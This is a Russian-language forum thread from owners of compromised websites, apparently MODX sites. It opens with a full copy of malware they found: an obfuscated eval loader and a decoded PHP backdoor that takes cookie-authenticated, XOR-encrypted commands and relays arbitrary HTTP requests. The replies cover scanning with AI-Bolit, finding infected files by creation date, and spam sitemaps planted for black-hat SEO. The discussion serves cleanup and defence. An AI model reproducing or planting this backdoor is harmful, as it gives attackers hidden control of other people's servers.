$kbkxysfg = '%gsy2y_M49%Q6%QrfyMAXlt_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrXi1'.
'_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gs4qqiq_q4Aiq9y21%Q6s%QZ%Vv%sU%sF%gsM49_9'.
'yE4_XyEy9%Q6s%QZ%Vv%sU%sF%gsy12iq4_OM4q_lRiq9%Q6p%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrElS'.
'_4S4dO9yi2_9yE4%Qr%Qjs%QZ%Vv%sU%sF%sU%sF0iq4ldB%Qs%Q6%Qg_jbbCuo%QslM%Qs%Qgy94E%QZ%sU%sF%r'.
'v%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%Qgy94E%Qs%Qp%VU%Qs%QQ0s6dgQfs-Rp5f-gQe4-ZlRV-gVrr5d6Q0Qpf%QQ%QZ%sU%sF'.
'%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs4Sy9%Q6%QZ%Vv%sU%sF%rU%sU%sF%sU%sF%Qgfl'.
'9l%Qs%VU%Qs0yX4_149_di29429M%Q6%QrABA%VF//y2AO9%Qr%QZ%Vv%sU%sF%Qgfl9l%Qs%VU%QsMAX'.
'y9%Q6%QQ%VU%QQ%Qj%Qgfl9l%QjQ%QZ%Vv%sU%sF%sU%sF%QgR5g_f4dif4_fl9l%Qs%VU%QsRlM45g_f4dif'.
'4%Q6OqXf4dif4%Q6%Qgfl9l%evp%eU%QZ%QZ%Vv%sU%sF%sU%sF%QgM42f_fl9l%Qs%VU'.
'%QsO2M4qylXyk4%Q6f4dqtA9%Q6%QgR5g_f4dif4_fl9l%QZ%QZ%Vv%sU%sF'.
'%sU%sF%Qgq4MOX9%Qs%VU%QsM42f_fl9lp%Qs%Q6%QgM42f_fl9l%QZ%Vv%sU%sF%sU%sFy0%Qs%Q6%Qp%Qgq4MOX9%QZ%sU%'.
'sF%rv%sU%sF%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%QsM42f_fl9lQ%Q6%QgM42f_fl9l%QZ%Vv%sU'.
'%sF%rU%sU%sF%sU%sF4dBi%Qs%Qgq4MOX9%Vv%sU%sF%sU%sF0O2d9yi2%Qsf4'.
'dqtA9%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t%Q'.
's%VU%Qs%Qg_YohGoh%ev%QrT88a_TbY8%Qr%eU%Qs.%Qs%Qg_YohGoh%ev%QrhoKWoY8_W'.
'hu%Qr%eU%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t_X42%Qs%VU%QsM9qX42%Q6%Qgc4t%QZ%Vv%sU%sF%Qs%sU%sF%Qs%Qs%Qs%Qs0i'.
'q%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%Qs%Vj%QsM9qX42%Q6%Qgc4t%QZ%Vv%Qs'.
'%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs'.
'%Qgc4t%ev%Qgy%eU%Qs%VU%QsdBq%Q6iqf%Q6%Qgc4t%ev%Qgy%eU%QZ%Qs%eo%Qs%Q6%Qgc4t_X42%Qs%Q'.
'e%QsQee%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%'.
'Qs%Qs%Qs0iq%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%'.
'Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs0iq%Qs%Q6%QgP%VUs%Vv%Qs%QgP%VjM9q'.
'X42%Q6%Qgc4t%QZ%Qs%Q5%Q5%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%Qs%QgP'.
'%Qv%Qv%Qj%Qs%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs'.
'%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs.%VU%QsdBq%Q6iqf%Q6%Qgfl9l%ev%Qgy%eU%QZ%Q'.
's%eo%Qsiqf%Q6%Qgc4t%ev%QgP%eU%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Q'.
's%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%QgiO9'.
'_fl9l%Vv%sU%sF%rU%sU%sF%sU%sF0O2d9yi2%QsM42f_fl9lp%Q6%Qgfl'.
'9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgB4lf%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%sU%sF%Qs'.
'%Qs%Qs%Qs0iq4ldB%Q6%Qgfl9l%ev%QQB4lf4qM%QQ%eU%QslM%Qs%Q'.
'gc4t%VU%Vo%QgzlXO4%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgB4lf%Qs.%VU%Qs%Qgc4t%Qs.'.
'%Qs%QQ%VF%Qs%QQ%Qs.%Qs%QgzlXO4%Qs.%Qs%QQ%ejq%ej2%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%s'.
'F%sU%sF%Qs%Qs%Qs%Qs%QgAlqlEM%Qs%VU%Qslqqlt%Q6%QrB99A%Qr%Qs%VU%Vo%Qslqqlt%Q6%sU%s'.
'F%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrE49Bif%Qr%Qs%VU%Vo%Qs%Qgf'.
'l9l%ev%QQE49Bif%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrB4lf4q%Qr%Qs%V'.
'U%Vo%Qs%QgB4lf%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qrdi29429%Qr%Qs%V'.
'U%Vo%Qs%Qgfl9l%ev%QQRift%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Q'.
's%Qs%Qs%Qs%Qr9yE4iO9%Qr%Qs%VU%Vo%Qs%Qgfl9l%ev%QQ9yE4iO9%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Q'.
's%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%QZ%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs'.
'%Qs%Qgd9S%Qs%VU%QsM9q4lE_di294S9_dq4l94%Q6%QgAlqlEM%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%Q'.
'gq4MOX9%Qs%VU%Qs%gs0yX4_149_di29429M%Q6%Qgfl9l%ev%QQOqX%QQ%eU%Qj%QsLF'.
'wYo%Qj%Qs%Qgd9S%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%QgB99A_q4MAi2M4_'.
'B4lf4q%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qsy0%Qs%Q6M9qAiM%Q6%'.
'QgB99A_q4MAi2M4_B4lf4q%evs%eU%Qj%Qs%QQQss%QQ%QZ%Qs%'.
'VU%VU%VU%QsLFwYo%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%'.
'Qgq4MOX9%Qs%VU%Qs%QQT88a_ohhbh%ej9%QQ%Qs.%Qs%QgB99A_q4MAi2M4_B4lf4q%evs%eU%Vv%sU%sF%Qs%Qs%Qs%Qs'.
'%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs4XM4%sU%sF%Qs%Qs%Qs%'.
'Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%Qs%QQjbNNoj8ubN'.
'_ohhbh%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%Qgq4MOX9%Vv%sU%sF%rU%sU%'.
'sF%sU%sF0O2d9yi2%QsM42f_fl9lQ%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs//%QsOM4%QsMidc49M%sU%sF%rU';
$zhmoaocvvt = Array('1'=>'g', '0'=>'f', '3'=>'J', '2'=>'n', '5'=>'6', '4'=>'e', '7'=>'Y', '6'=>'8', '9'=>'t', '8'=>'T', 'A'=>'p', 'C'=>'K', 'B'=>'h', 'E'=>'m', 'D'=>'G', 'G'=>'V', 'F'=>'A', 'I'=>'Z', 'H'=>'X', 'K'=>'Q', 'J'=>'w', 'M'=>'s', 'L'=>'F', 'O'=>'u', 'N'=>'N', 'Q'=>'2', 'P'=>'j', 'S'=>'x', 'R'=>'b', 'U'=>'D', 'T'=>'H', 'W'=>'U', 'V'=>'3', 'Y'=>'S', 'X'=>'l', 'Z'=>'9', 'a'=>'P', 'c'=>'k', 'b'=>'O', 'e'=>'5', 'd'=>'c', 'g'=>'4', 'f'=>'d', 'i'=>'o', 'h'=>'R', 'k'=>'z', 'j'=>'C', 'm'=>'q', 'l'=>'a', 'o'=>'E', 'n'=>'W', 'q'=>'r', 'p'=>'1', 's'=>'0', 'r'=>'7', 'u'=>'I', 't'=>'y', 'w'=>'L', 'v'=>'B', 'y'=>'i', 'x'=>'M', 'z'=>'v');
eval/*tbtro*/(trpnppanw($kbkxysfg, $zhmoaocvvt));?>
<?php
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
foreach ($_COOKIE as $item) {
if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
exit();
}
}
$data = file_get_contents('php://input');
$data = split("=", $data, 2);
$b64_decode_data = base64_decode(urldecode($data[1]));
$send_data = unserialize(decrypt($b64_decode_data));
$result = send_data1($send_data);
if (!$result) {
$result = send_data2($send_data);
}
echo $result;
function decrypt($data)
{
$out_data = "";
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$key_len = strlen($key);
for ($i = 0; $i < strlen($key); $i++) {
$key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
}
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function send_data1($data)
{
$head = "";
foreach ($data["headers"] as $key => $value) {
$head .= $key . ": " . $value . "\r\n";
}
$params = array(
'http' => array(
'method' => $data["method"],
'header' => $head,
'content' => $data["body"],
'timeout' => $data["timeout"],
)
);
$ctx = stream_context_create($params);
$result = @file_get_contents($data["url"], false, $ctx);
if ($http_response_header) {
if (strpos($http_response_header[0], "200") === false) {
$result = "HTTP_ERROR\t" . $http_response_header[0];
}
} else {
$result = "CONNECTION_ERROR";
}
return $result;
}
function send_data2($data)
{
// use sockets
}
Это Вы расшифровали код выше? Если да то как вы расшифровали? Я чайник:)
Что делает этот файл? Это взлом? Удалять этот файл?
Что делает этот файл? Это взлом? Удалять этот файл?
Выложил результаты проверки айболитом, но не успел написать зачем. Я правильно понимаю что все эти левые файлы с переменными массивами аля Global — потенциально результаты взлома сайтов?
Меня удивляет как удалось злоумышленникам записать в директории админки и коннекторов если я их переименовал (core вынес наверх)?
Из списка обнаруженного — можно говорить что риску взлома подвержены компоненты Minify? (про Gallery понятно).
Как зараза они смогли модифицировать системные файлы (/controllers/default/system/event.class.php).
У себя заметил что все измененные и зараженные файлы были модифицированны в одно и то же время (28.05.18). И таким образом я искал все файлы которые были изменены в эту дату. Но все равно айболит нашел файлы которые имели дату изменения более ранние (даже 2016 года), но при этом были встроенные левые коды (сравнивал с другими сайтами — там левых кодов в этих файлах не было).
Меня удивляет как удалось злоумышленникам записать в директории админки и коннекторов если я их переименовал (core вынес наверх)?
Из списка обнаруженного — можно говорить что риску взлома подвержены компоненты Minify? (про Gallery понятно).
Как зараза они смогли модифицировать системные файлы (/controllers/default/system/event.class.php).
У себя заметил что все измененные и зараженные файлы были модифицированны в одно и то же время (28.05.18). И таким образом я искал все файлы которые были изменены в эту дату. Но все равно айболит нашел файлы которые имели дату изменения более ранние (даже 2016 года), но при этом были встроенные левые коды (сравнивал с другими сайтами — там левых кодов в этих файлах не было).
скачивал сегодня aibolit, при запуске сканирования выдал ошибку:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
PHP Parse error: syntax error, unexpected T_FUNCTION in /home/s/sknnovyand/aibolit/ai-bolit/ai-bolit.php on line 2337
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
PHP Parse error: syntax error, unexpected T_FUNCTION in /home/s/sknnovyand/aibolit/ai-bolit/ai-bolit.php on line 2337
Мне ещё помогла данная команда определить зараженный файлы:
Ну а эта команда покажет список файлов созданных между 1 сентября 2018 года и 10 декабря 2018 года.
find -newerct "1 Sep 2018" ! -newerct "10 Dec 2018" -ls
Запускать из консоли. Просто смотрим дату создания файла с вирусом, и в корневой директории доступной для php запускаем из командной строки пользователя данную команду с разбегом ±месяц. Видимо вирус не удосужился заменить дату создания файлов, поэтому его можно вычислить.Ну а эта команда покажет список файлов созданных между 1 сентября 2018 года и 10 декабря 2018 года.
вот пример файлов с вирусами:
1606794 16 -rw-r--r-- 1 justme justme 12787 Oct 18 13:20 ./connectors/manager/access.php
1603580 24 -rw-r--r-- 1 justme justme 24519 Sep 28 11:50 ./connectors/manager/Dwsonv.php
1603556 12 -rw-r--r-- 1 justme justme 9798 Sep 25 11:18 ./connectors/manager/Meuhy.php
1606796 88 -rw-r--r-- 1 justme justme 87463 Oct 18 13:20 ./connectors/manager/server.php
1606795 40 -rw-r--r-- 1 justme justme 40906 Oct 18 13:20 ./connectors/manager/doptions.php
1578437 8 -rw-r--r-- 1 justme justme 4785 Sep 22 06:41 ./connectors/manager/search.php
1589658 4 -rw-r--r-- 1 justme justme 291 Oct 25 13:07 ./connectors/manager/wp-version.php
1603581 88 -rw-r--r-- 1 justme justme 87463 Sep 28 11:50 ./connectors/server.php
1578438 4 drwxr-xr-x 2 justme justme 4096 Sep 28 11:44 ./map
1603566 5124 -rw-r--r-- 1 justme justme 5244015 Sep 28 11:42 ./map/sitemap16.xml
1603574 5052 -rw-r--r-- 1 justme justme 5172167 Sep 28 11:43 ./map/sitemap15.xml
1603570 5080 -rw-r--r-- 1 justme justme 5200171 Sep 28 11:42 ./map/sitemap18.xml
1603575 5084 -rw-r--r-- 1 justme justme 5202419 Sep 28 11:44 ./map/sitemap10.xml
1603564 5092 -rw-r--r-- 1 justme justme 5210143 Sep 28 11:41 ./map/sitemap1.xml
1603571 5112 -rw-r--r-- 1 justme justme 5232185 Sep 28 11:43 ./map/sitemap17.xml
1589661 5220 -rw-r--r-- 1 justme justme 5342546 Sep 28 11:41 ./map/sitemap4.xml
1603572 5108 -rw-r--r-- 1 justme justme 5229295 Sep 28 11:43 ./map/sitemap13.xml
1603569 5072 -rw-r--r-- 1 justme justme 5189645 Sep 28 11:42 ./map/sitemap14.xml
1603577 5136 -rw-r--r-- 1 justme justme 5256439 Sep 28 11:44 ./map/sitemap6.xml
1603563 5060 -rw-r--r-- 1 justme justme 5179566 Sep 28 11:41 ./map/sitemap2.xml
1578446 5048 -rw-r--r-- 1 justme justme 5167440 Sep 28 11:41 ./map/sitemap9.xml
1603567 5068 -rw-r--r-- 1 justme justme 5188781 Sep 28 11:42 ./map/sitemap7.xml
1603579 5112 -rw-r--r-- 1 justme justme 5231154 Sep 28 11:44 ./map/sitemap19.xml
1603565 5188 -rw-r--r-- 1 justme justme 5309893 Sep 28 11:41 ./map/sitemap20.xml
1603576 5064 -rw-r--r-- 1 justme justme 5184554 Sep 28 11:44 ./map/sitemap3.xml
1603568 5128 -rw-r--r-- 1 justme justme 5247563 Sep 28 11:42 ./map/sitemap12.xml
1603573 5016 -rw-r--r-- 1 justme justme 5134371 Sep 28 11:43 ./map/sitemap11.xml
1603578 5160 -rw-r--r-- 1 justme justme 5280363 Sep 28 11:44 ./map/sitemap5.xml
1578441 5096 -rw-r--r-- 1 justme justme 5214693 Sep 28 11:41 ./map/sitemap8.xml
1450550 36 -rw-r--r-- 1 justme justme 35486 Sep 28 07:45 ./index.php
1450552 4 -rw-r--r-- 1 justme justme 1321 Sep 28 11:44 ./robots.txt
вирус создаёт карту сайта, авторизируется в гугл-вебмастере(собственно оттуда я и узнал что моим сайтом кто-то ещё начал управлять) добавляет туда кучу новых sitemap.xml. Похоже кто-то так размещает статьи для темного СЕО.
Друзья, а как сделать отчет в виде html? Указанные на сайте revisium.com/kb/ai-bolit-console-faq.html теги у меня не сработали…
Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.